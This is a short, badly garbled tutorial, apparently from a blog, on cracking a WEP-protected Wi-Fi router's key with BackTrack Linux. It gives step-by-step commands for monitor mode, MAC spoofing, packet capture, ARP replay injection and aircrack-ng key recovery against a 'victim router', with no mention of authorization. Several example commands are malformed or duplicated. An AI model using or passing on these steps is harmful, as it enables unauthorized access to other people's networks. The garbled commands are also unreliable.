I think
every buddy are aware from linux operating system.linux is open source
operating sytem and many versions of linux is available in market.
Here we can
see how to crack wifi using backtarck OS.
1) First of all start consol and type /etc/init.d/networking start For Startup network connections.
2) Now Type airmon-ng
this command put your network
card in monter mode.
3) Then type airmon-ng
start wlan0 or 1 to startup scan.
4) For spoof your MAC address By typing
Ifconfig wlan1 down
macchanger -r wlan1
ifconfig wlan1 up
macchanger -r wlan1
ifconfig wlan1 up
5) To Start to find victim router type airodump-ng mon0 this will list the routers select
one and continue.
6) Once you can find one then copy the
BSSID and close the airodump and then type airodump-ng
-c channel number, --bssid the BSSID of the router, -w what you want to save
the cap file as, then mon0 (the interface we are using) for new consol. For example airodump-ng -c 1 - - bssid 11:22:33:44:55:66 -w wepcap mon0
7) Now start to crack password. Todo this
open consol and type aireplay-ng -1 1 -a The BSSID of
the router, then the interface.
Example: aireplay-ng -1 1 a 11:22:33:44:55:66 mon0
Example: aireplay-ng -1 1 a 11:22:33:44:55:66 mon0
8) Now congtinue the ARP cycle open
consol and type aireplay-ng -3 -b The BSSID of the
router, then the interface, and it will start replaying arps. Collect a
good ammount of ivs like around 20k to 50k. Once its their, type CTRL - C to
stop the process and continue to 9.
9) To start cracking the cap file open
consol and type aircrack-ng -b (bssid) (file
name)-01.cap
example: aircrack-ng 11:22:33:44:55:66 wepcap-01.cap
example: aircrack-ng 11:22:33:44:55:66 wepcap-01.cap
10)
Now
you have the key to login in to router.
TO
DOWNLOD BACKTRACK 5 GOTO http://www.backtrack-linux.org/downloads/
Login:root
Password:toor
Once
logged in type in:startx
